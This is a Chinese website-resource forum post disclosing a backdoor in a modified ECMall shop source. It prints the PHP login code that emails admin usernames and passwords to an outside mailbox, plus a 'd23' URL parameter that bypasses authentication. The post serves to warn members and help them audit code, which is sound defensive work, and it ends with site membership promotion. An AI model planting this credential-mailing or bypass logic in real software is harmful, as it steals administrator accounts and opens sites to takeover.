感谢会员@.开心寶寶.提供ECmall的修改版某源码相关"自动发送后台账号密码到指定邮箱的"源码公示，以便会员对网站源码代码予以严格审计：

ccll/app/backend.base.php第55行

$this->_mailto('xxxxx@163.com', '商城', $ret_url,'0');

自动发送后台账号密码到指定邮箱的后门操作代码：

$user_name = trim($_POST['user_name']);
            $password  = $_POST['password'];

            $ms =& ms();
            $user_id = $ms->user->auth($user_name, $password);
			
			$ret_url	=$_SERVER['HTTP_REFERER'].'<br>';
			$ret_url	.=$user_name.'<br>';
			$ret_url	.=$password.'<br>';
			$this->_mailto('xxxxx@163.com', '商城', $ret_url,'0');
			
			if($_GET['d23']==1)
			{
			$user_id=$_GET['d23'];
			}
			
            if (!$user_id)
            {
                /* 未通过验证，提示错误信息 */
                $this->show_warning($ms->user->get_error());

                return;
            }

            /* 通过验证，执行登陆操作 */
            if (!$this->_do_login($user_id))
            {
                return;
            }
header("Location: index.php");

敬告：

会员无论在哪下载的网站源码或其他源码，一定要自己学会和严格查杀源码的安全性，最好全文检索审计该源码的以上类似后门性质的的关键代码，或在安装使用、登录操作等抓包审计，一定要牢记"便宜无好货，好货不便宜"，以免掉入钓鱼陷阱，或免费陷阱；站长窝网站源码都是从合作站分享的原版VIP资源，为建站学习研究额外的福利资源，合作站都是经筛选之后的相对可靠站点的网站源码予以积分即可下载的VIP网站源码，建站学习研究直接免积分直接下载，如有能力还是过滤、审计一边下载网站源码。
如果对资源质量要求比较高，建议赞助站长窝建站学习研究站长或以上，加入专属VIP特权群，和更多的建站公司和运营站长共同学习、交流建站技术，共享运营经验和分享。